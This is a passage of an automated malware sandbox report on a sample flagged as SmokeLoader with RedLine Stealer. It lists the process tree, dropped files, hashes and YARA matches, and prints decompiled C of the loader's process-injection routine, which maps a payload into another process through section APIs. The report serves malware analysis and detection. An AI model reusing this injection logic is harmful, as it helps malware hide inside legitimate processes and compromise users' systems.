d1 7b 00 7c Data Ascii: 2000S9,\|6{1~e}Kj0{L4~[(>4~50+$]3h~v{4W\|?3>{-[~}e6lz\|D{{v7x}=T2l/QLQ=+k{\|
2022-11-29 23:11:39 UTC	464	IN	Data Raw: 66 75 73 75 66 6f Data Ascii: fusufo
2022-11-29 23:11:39 UTC	464	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	464	IN	Data Raw: 63 33 38 0d 0a 62 6f 6a 61 2e 20 56 65 78 65 62 61 6a 69 73 6f 20 68 61 76 69 63 20 76 6f 74 2e 20 46 69 72 61 66 6f 6e 6f 2e 20 44 6f 7a 65 6b 61 7a 6f 7a 65 7a 75 77 75 66 20 63 75 74 6f 74 61 77 65 6b 61 6e 61 67 20 77 61 62 61 74 65 6e 69 6a 65 6c 75 20 76 69 6c 61 67 61 68 20 6b 65 76 75 63 69 67 6f 67 6f 62 61 2e 20 42 75 6a 6f 74 65 66 61 20 7a 75 64 2e 20 44 65 68 61 6a 65 73 69 6e 61 6c 65 66 75 79 20 63 65 77 75 62 69 70 61 77 65 77 6f 63 2e 20 58 6f 73 69 6b 65 6b 69 76 20 6e 6f 6d 65 6b 6f 6a 69 64 6f 78 6f 63 2e 20 48 65 78 65 6c 6f 64 69 63 75 6a 65 63 20 63 6f 70 61 66 6f 77 65 74 69 6c 69 72 65 79 20 68 75 66 6f 74 69 70 20 77 6f 77 20 6a 6f 64 69 2e 20 53 61 6a 69 77 75 63 69 67 61 6d 75 6d 61 66 20 79 65 76 61 62 75 76 61 74 75 73 2e 20 Data Ascii: c38boja. Vexebajiso havic vot. Firafono. Dozekazozezuwuf cutotawekanag wabatenijelu vilagah kevucigogoba. Bujotefa zud. Dehajesinalefuy cewubipawewoc. Xosikekiv nomekojidoxoc. Hexelodicujec copafowetilirey hufotip wow jodi. Sajiwucigamumaf yevabuvatus.

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 5200, Parent PID: 3452

General

Target ID:	0
Start time:	00:10:00
Start date:	30/11/2022
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	149504 bytes
MD5 hash:	1CF06BEB83D2BD1AFD1B9B62994E7549
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.340150414.0000000002080000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.340150414.0000000002080000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.339969412.0000000000509000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000003.247155743.0000000002080000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.340103222.0000000002070000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.340254010.00000000020B1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.340254010.00000000020B1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3452, Parent PID: 5200

General

Target ID:	1
Start time:	00:10:07
Start date:	30/11/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff647860000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000000.327101814.0000000004E61000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000001.00000000.327101814.0000000004E61000.00000020.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: dfhwravPID: 5440, Parent PID: 1064

General

Target ID:	9
Start time:	00:10:59
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Roaming\dfhwrav
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\dfhwrav
Imagebase:	0x400000
File size:	149504 bytes
MD5 hash:	1CF06BEB83D2BD1AFD1B9B62994E7549
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000002.385320932.00000000020A1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000009.00000002.385320932.00000000020A1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000002.385296441.0000000002080000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000009.00000002.385296441.0000000002080000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000003.373157026.0000000002080000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000009.00000002.384994661.00000000006D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.385082783.00000000006F8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: ADCA.exePID: 1432, Parent PID: 3452

General

Target ID:	10
Start time:	00:11:16
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Local\Temp\ADCA.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ADCA.exe
Imagebase:	0x400000
File size:	3776000 bytes
MD5 hash:	2479739C5D062ECB325147623241F007
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.477294048.00000000025CA000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000A.00000002.503903306.0000000002950000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 4912, Parent PID: 1432

General

Target ID:	13
Start time:	00:11:36
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\rundll32.exe C:\Users\user\AppData\Local\Temp\Serpodtudpwhhta.dll,start
Imagebase:	0x1b0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: 5AF.exePID: 5580, Parent PID: 3452

General

Target ID:	16
Start time:	00:11:39
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Local\Temp\5AF.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5AF.exe
Imagebase:	0x400000
File size:	478208 bytes
MD5 hash:	C81AB83835C2669DBE57C43DB54571B7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000010.00000002.491008397.00000000005E9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000010.00000002.486093572.0000000000413000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000010.00000002.495741535.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 4872, Parent PID: 4912

General

Target ID:	19
Start time:	00:11:48
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4912 -s 688
Imagebase:	0x10e0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: 5AF.exePID: 2388, Parent PID: 4428

General

Target ID:	22
Start time:	00:11:52
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Local\Temp\5AF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\5AF.exe"
Imagebase:	0x400000
File size:	478208 bytes
MD5 hash:	C81AB83835C2669DBE57C43DB54571B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000016.00000002.521716515.00000000020C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000016.00000002.517229882.0000000000413000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000016.00000002.518252636.000000000059E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 3808, Parent PID: 4912

General

Target ID:	23
Start time:	00:12:04
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4912 -s 688
Imagebase:	0x10e0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 5200, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	33%
Total number of Nodes:	91
Total number of Limit Nodes:	3

Executed Functions

Function 004014CF Relevance: 10.7, APIs: 7, Instructions: 198
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E004014CF(void* __edx, void* __eflags, void* __fp0, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				long _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				long _v56;
				long _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t84;
				intOrPtr _t87;
				void* _t90;
				signed int _t91;
				struct _GUID _t98;
				struct _GUID _t100;
				PVOID* _t102;
				PVOID* _t104;
				signed int _t106;
				intOrPtr* _t108;
				PVOID* _t121;
				PVOID* _t123;
				intOrPtr _t127;
				void* _t128;
				signed int _t129;
				void** _t130;
				signed int _t137;
				int _t138;
				signed int _t155;
				signed int _t156;
				signed int _t157;
				signed int _t158;
				signed int _t159;
				void* _t160;
				intOrPtr* _t161;
				void* _t169;
				long _t170;
				intOrPtr _t171;
				void* _t172;
				void* _t177;
				HANDLE* _t178;
				HANDLE* _t179;
				void* _t184;
				intOrPtr* _t187;
				intOrPtr _t190;
				intOrPtr* _t191;
				signed int* _t192;
				signed int* _t193;
				signed int* _t195;
				signed int* _t196;
				long _t211;

				_t216 = __fp0;
				_t154 = __edx;
				_push(0x150b);
				_t84 =  *_t191;
				_t192 = _t191 + 4;
				_t128 = 0x37e;
				E004011BB(_t84, _t128, __edx, _t169, _t177, __eflags, __fp0);
				_t127 = _a4;
				_t170 = 0;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t87 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t87 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				_v96 = _t87;
				_t178 =  &_v100;
				 *_t178 = _t170;
				 *((intOrPtr*)(_t127 + 0x4c))(_t87, _t178);
				_t90 =  *_t178;
				if(_t90 != 0) {
					_t130 =  &_v52;
					 *_t130 = _t90;
					_t130[1] = _t170;
					_t178 =  &_v44;
					 *((intOrPtr*)(_t127 + 0x10))(_t178, 0x18);
					 *_t178 = 0x18;
					_t154 = _t178;
					_push( &_v52);
					_push(_t178);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, _t170, _t170, 2) == 0) {
						_v12 = _t170;
						_t98 =  &_v84;
						 *(_t98 + 4) = _t170;
						 *_t98 = 0x5000;
						_t179 =  &_v88;
						if(NtCreateSection(_t179, 6, _t170, _t98, 4, 0x8000000, _t170) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t121 =  &_v72;
							 *_t121 = _t170;
							if(NtMapViewOfSection( *_t179, 0xffffffff, _t121, _t170, _t170, _t170,  &_v60, 1, _t170, 4) == 0) {
								_t123 =  &_v64;
								 *_t123 = _t170;
								if(NtMapViewOfSection( *_t179, _v16, _t123, _t170, _t170, _t170,  &_v60, 1, _t170, 4) == 0) {
									_t190 = _v72;
									 *((intOrPtr*)(_t127 + 0x20))(_t170, _t190, 0x104);
									 *((intOrPtr*)(_t190 + 0x208)) = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t100 =  &_v84;
						 *(_t100 + 4) = _t170;
						 *_t100 = _a12 + 0x10000;
						_t178 =  &_v92;
						if(NtCreateSection(_t178, 0xe, _t170, _t100, 0x40, 0x8000000, _t170) == 0 && _v12 != 0) {
							_push(_v84);
							_pop( *_t46);
							_t102 =  &_v76;
							 *_t102 = _t170;
							if(NtMapViewOfSection( *_t178, 0xffffffff, _t102, _t170, _t170, _t170,  &_v60, 1, _t170, 4) == 0) {
								_t104 =  &_v68;
								 *_t104 = _t170;
								_t211 = NtMapViewOfSection( *_t178, _v16, _t104, _t170, _t170, _t170,  &_v60, 1, _t170, 0x20);
								if(_t211 == 0) {
									L21();
									if(_t211 == 0 && _t211 != 0) {
										asm("in eax, 0x4a");
									}
									_push(0x2260);
									_t155 =  *_t192;
									_t195 =  &(_t192[1]);
									_push(_t155);
									_t106 =  *_t195;
									_t196 =  &(_t195[1]);
									_t156 = _t155 << 5;
									_t157 = _t156 + _t106;
									asm("lodsb");
									_t158 = _t157;
									asm("loop 0xffffffc3");
									_t159 = _t158 ^ 0xc66a5524;
									_t192 = _t196 - _t159;
									_t184 = _a8 +  *_a8;
									_t137 =  *(_t184 + 6) & 0x0000ffff;
									_push(_t184);
									_t160 = _t184;
									if(_v56 == 0) {
										_t161 = _t160 + 0xf8;
										__eflags = _t161;
									} else {
										_t161 = _t160 + 0x108;
									}
									_push(_t137);
									_t138 =  *(_t161 + 0x10);
									if(_t138 != 0) {
										memcpy( *((intOrPtr*)(_t161 + 0xc)) + _v76,  *((intOrPtr*)(_t161 + 0x14)) + _a8, _t138);
										_t192 =  &(_t192[3]);
									}
									asm("loop 0xffffffe6");
									_pop(_t178);
									_t215 = _v56;
									if(_v56 == 0) {
										_push(_t178);
										_t154 = _t178[0xd] - _v68;
										_t187 = _t178[0x28] + _v76;
										__eflags = _t187;
										while(1) {
											__eflags =  *_t187;
											if( *_t187 == 0) {
												break;
											}
											_t171 =  *_t187;
											_t187 = _t187 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *((intOrPtr*)(0)) =  *((intOrPtr*)(0)) - _t154;
												__eflags =  *((intOrPtr*)(0 + _v76 + _t171));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t178);
										_t170 = 0;
										__eflags = 0;
										_t108 =  &_v8;
										 *_t108 = 0;
										 *((intOrPtr*)(_t127 + 0x98))(_v16, 0, 0, 0, 0, 0, _t178[0xa] + _v68, _v64, _t108, 0);
									} else {
										L54();
										_pop(_t172);
										_t170 = _t172 - 0x1781;
										 *((intOrPtr*)(_t170 + 0x17b5)) = _t170 + 0x2c1d;
										E00401256(_t127, _t170 + 0x17b5, _t170, _t178, _t215, _t170 + 0x2c1d, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t170 + 0x17da)) = _t170 + 0x2c6d;
										_t154 = _v16;
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x150b);
				_t91 =  *_t192;
				_t193 =  &(_t192[1]);
				_push(0x37e);
				_t129 =  *_t193;
				return E004011BB(_t91, _t129, _t154, _t170, _t178, _t215, _t216);
			}

0x004014cf
0x004014cf
0x004014df
0x004014e4
0x004014e7
0x004014fe
0x00401506
0x0040150b
0x0040150e
0x00401510
0x00401519
0x0040151b
0x0040151b
0x0040151e
0x0040151e
0x00401523
0x00000000
0x00000000
0x0040184a
0x0040184a
0x00401529
0x0040152c
0x0040152f
0x00401533
0x00401536
0x0040153a
0x00401540
0x00401543
0x00401545
0x00401548
0x0040154e
0x00401551
0x00401557
0x0040155f
0x00401560
0x00401561
0x00401563
0x00401569
0x0040158c
0x0040158f
0x00401592
0x00401595
0x0040159b
0x004015b0
0x004015b2
0x004015b5
0x004015b8
0x004015bb
0x004015d3
0x004015d5
0x004015d8
0x004015f1
0x004015f3
0x004015fd
0x00401603
0x00401609
0x00401609
0x004015f1
0x004015d3
0x0040160c
0x00401618
0x0040161b
0x0040161d
0x00401632
0x00401642
0x00401645
0x00401648
0x0040164b
0x00401663
0x00401669
0x0040166c
0x00401683
0x00401685
0x0040168b
0x00401690
0x00401694
0x00401694
0x004016cf
0x004016d4
0x004016d7
0x004016e7
0x004016e8
0x004016eb
0x004016f8
0x00401702
0x00401711
0x00401719
0x0040171e
0x00401727
0x00401730
0x0040173c
0x0040173e
0x00401742
0x00401743
0x00401749
0x00401753
0x00401753
0x0040174b
0x0040174b
0x0040174b
0x00401759
0x0040175a
0x0040175f
0x0040176d
0x0040176d
0x0040176d
0x00401773
0x00401775
0x00401776
0x0040177a
0x004017e2
0x004017e6
0x004017f1
0x004017f1
0x004017f4
0x004017f4
0x004017f7
0x00000000
0x00000000
0x004017f9
0x00401803
0x00401808
0x0040180a
0x0040180f
0x0040181b
0x0040181b
0x0040181b
0x0040181d
0x0040181d
0x00401821
0x00401828
0x00401828
0x0040182a
0x0040182d
0x0040183d
0x0040177c
0x0040177c
0x00401781
0x00401782
0x00401798
0x004017a7
0x004017b4
0x004017cb
0x004017d6
0x004017d9
0x004017d9
0x0040177a
0x00401685
0x00401663
0x00401632
0x00401569
0x00401859
0x0040185e
0x00401861
0x00401872
0x00401877
0x0040188d

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 00000000.00000002.339575302.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 61270f2820b76154097c11168e410355082364bb205f1f9274eadb9914c2945a
Instruction ID: d7a87560e4518483a9a905c0811b8b4d92cc7fa9c4f71bddd110749a196bc2cc
Opcode Fuzzy Hash: 61270f2820b76154097c11168e410355082364bb205f1f9274eadb9914c2945a
Instruction Fuzzy Hash: 2E615F71900204FBEB219F91CC49FAF7BB8FF85B00F10412AF912BA2E5D6749A41CB65

Uniqueness

Uniqueness Score: -1.00%

Function 004014DB Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E004014DB(void* __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t84;
				intOrPtr _t87;
				intOrPtr _t90;
				void* _t93;
				signed int _t94;
				struct _GUID _t101;
				struct _GUID _t103;
				PVOID* _t105;
				PVOID* _t107;
				signed int _t109;
				intOrPtr* _t111;
				PVOID* _t124;
				PVOID* _t126;
				intOrPtr _t131;
				void* _t133;
				signed int _t134;
				void** _t135;
				signed int _t142;
				int _t143;
				signed int _t160;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				long _t175;
				intOrPtr _t177;
				void* _t178;
				HANDLE* _t184;
				HANDLE* _t186;
				void* _t191;
				intOrPtr* _t194;
				void* _t197;
				void* _t198;
				intOrPtr* _t200;
				signed int* _t201;
				signed int* _t202;
				signed int* _t205;
				signed int* _t206;
				void* _t207;
				long _t221;

				_t226 = __fp0;
				_t159 = __edx;
				_t207 = _t84 + 1;
				_push(0x150b);
				_t87 =  *_t200;
				_t201 = _t200 + 4;
				_t133 = 0x37e;
				E004011BB(_t87, _t133, __edx, __edi, __esi, _t207, __fp0);
				_t131 =  *((intOrPtr*)(_t198 + 8));
				_t175 = 0;
				 *((intOrPtr*)(_t198 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t198 - 0x34)) =  *((intOrPtr*)(_t198 - 0x34)) + 1;
				}
				while(1) {
					_t90 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t90 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t198 - 0x5c)) = _t90;
				_t184 = _t198 - 0x60;
				 *_t184 = _t175;
				 *((intOrPtr*)(_t131 + 0x4c))(_t90, _t184);
				_t93 =  *_t184;
				if(_t93 != 0) {
					_t135 = _t198 - 0x30;
					 *_t135 = _t93;
					_t135[1] = _t175;
					_t184 = _t198 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t184, 0x18);
					 *_t184 = 0x18;
					_t159 = _t184;
					_push(_t198 - 0x30);
					_push(_t184);
					_push(0x40);
					_push(_t198 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t198 - 0x10), 0xffffffff, 0xffffffff, _t198 - 0xc, _t175, _t175, 2) == 0) {
						 *(_t198 - 8) = _t175;
						_t101 = _t198 - 0x50;
						 *(_t101 + 4) = _t175;
						 *_t101 = 0x5000;
						_t186 = _t198 - 0x54;
						if(NtCreateSection(_t186, 6, _t175, _t101, 4, 0x8000000, _t175) == 0) {
							 *_t25 =  *(_t198 - 0x50);
							_t124 = _t198 - 0x44;
							 *_t124 = _t175;
							if(NtMapViewOfSection( *_t186, 0xffffffff, _t124, _t175, _t175, _t175, _t198 - 0x38, 1, _t175, 4) == 0) {
								_t126 = _t198 - 0x3c;
								 *_t126 = _t175;
								if(NtMapViewOfSection( *_t186,  *(_t198 - 0xc), _t126, _t175, _t175, _t175, _t198 - 0x38, 1, _t175, 4) == 0) {
									_t197 =  *(_t198 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t175, _t197, 0x104);
									 *((intOrPtr*)(_t197 + 0x208)) =  *((intOrPtr*)(_t198 + 0x14));
									 *(_t198 - 8) =  *(_t198 - 8) + 1;
								}
							}
						}
						_t103 = _t198 - 0x50;
						 *(_t103 + 4) = _t175;
						 *_t103 =  *((intOrPtr*)(_t198 + 0x10)) + 0x10000;
						_t184 = _t198 - 0x58;
						if(NtCreateSection(_t184, 0xe, _t175, _t103, 0x40, 0x8000000, _t175) == 0 &&  *(_t198 - 8) != 0) {
							 *_t46 =  *(_t198 - 0x50);
							_t105 = _t198 - 0x48;
							 *_t105 = _t175;
							if(NtMapViewOfSection( *_t184, 0xffffffff, _t105, _t175, _t175, _t175, _t198 - 0x38, 1, _t175, 4) == 0) {
								_t107 = _t198 - 0x40;
								 *_t107 = _t175;
								_t221 = NtMapViewOfSection( *_t184,  *(_t198 - 0xc), _t107, _t175, _t175, _t175, _t198 - 0x38, 1, _t175, 0x20);
								if(_t221 == 0) {
									L20();
									if(_t221 == 0 && _t221 != 0) {
										asm("in eax, 0x4a");
									}
									_push(0x2260);
									_t160 =  *_t201;
									_t205 =  &(_t201[1]);
									_push(_t160);
									_t109 =  *_t205;
									_t206 =  &(_t205[1]);
									_t161 = _t160 << 5;
									_t162 = _t161 + _t109;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc3");
									_t164 = _t163 ^ 0xc66a5524;
									_t201 = _t206 - _t164;
									_t191 =  *((intOrPtr*)(_t198 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t198 + 0xc))));
									_t142 =  *(_t191 + 6) & 0x0000ffff;
									_push(_t191);
									_t165 = _t191;
									if( *((intOrPtr*)(_t198 - 0x34)) == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t142);
									_t143 =  *(_t166 + 0x10);
									if(_t143 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) +  *(_t198 - 0x48),  *((intOrPtr*)(_t166 + 0x14)) +  *((intOrPtr*)(_t198 + 0xc)), _t143);
										_t201 =  &(_t201[3]);
									}
									asm("loop 0xffffffe6");
									_pop(_t184);
									_t225 =  *((intOrPtr*)(_t198 - 0x34));
									if( *((intOrPtr*)(_t198 - 0x34)) == 0) {
										_push(_t184);
										_t159 = _t184[0xd] -  *(_t198 - 0x40);
										_t194 = _t184[0x28] +  *(_t198 - 0x48);
										__eflags = _t194;
										while(1) {
											__eflags =  *_t194;
											if( *_t194 == 0) {
												break;
											}
											_t177 =  *_t194;
											_t194 = _t194 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *((intOrPtr*)(0)) =  *((intOrPtr*)(0)) - _t159;
												__eflags =  *((intOrPtr*)(0 +  *(_t198 - 0x48) + _t177));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t184);
										_t175 = 0;
										__eflags = 0;
										_t111 = _t198 - 4;
										 *_t111 = 0;
										 *((intOrPtr*)(_t131 + 0x98))( *(_t198 - 0xc), 0, 0, 0, 0, 0, _t184[0xa] +  *(_t198 - 0x40),  *(_t198 - 0x3c), _t111, 0);
									} else {
										L53();
										_pop(_t178);
										_t175 = _t178 - 0x1781;
										 *((intOrPtr*)(_t175 + 0x17b5)) = _t175 + 0x2c1d;
										E00401256(_t131, _t175 + 0x17b5, _t175, _t184, _t225, _t175 + 0x2c1d, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t175 + 0x17da)) = _t175 + 0x2c6d;
										_t159 =  *(_t198 - 0xc);
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x150b);
				_t94 =  *_t201;
				_t202 =  &(_t201[1]);
				_push(0x37e);
				_t134 =  *_t202;
				return E004011BB(_t94, _t134, _t159, _t175, _t184, _t225, _t226);
			}

0x004014db
0x004014db
0x004014dc
0x004014df
0x004014e4
0x004014e7
0x004014fe
0x00401506
0x0040150b
0x0040150e
0x00401510
0x00401519
0x0040151b
0x0040151b
0x0040151e
0x0040151e
0x00401523
0x00000000
0x00000000
0x0040184a
0x0040184a
0x00401529
0x0040152c
0x0040152f
0x00401533
0x00401536
0x0040153a
0x00401540
0x00401543
0x00401545
0x00401548
0x0040154e
0x00401551
0x00401557
0x0040155f
0x00401560
0x00401561
0x00401563
0x00401569
0x0040158c
0x0040158f
0x00401592
0x00401595
0x0040159b
0x004015b0
0x004015b5
0x004015b8
0x004015bb
0x004015d3
0x004015d5
0x004015d8
0x004015f1
0x004015f3
0x004015fd
0x00401603
0x00401609
0x00401609
0x004015f1
0x004015d3
0x0040160c
0x00401618
0x0040161b
0x0040161d
0x00401632
0x00401645
0x00401648
0x0040164b
0x00401663
0x00401669
0x0040166c
0x00401683
0x00401685
0x0040168b
0x00401690
0x00401694
0x00401694
0x004016cf
0x004016d4
0x004016d7
0x004016e7
0x004016e8
0x004016eb
0x004016f8
0x00401702
0x00401711
0x00401719
0x0040171e
0x00401727
0x00401730
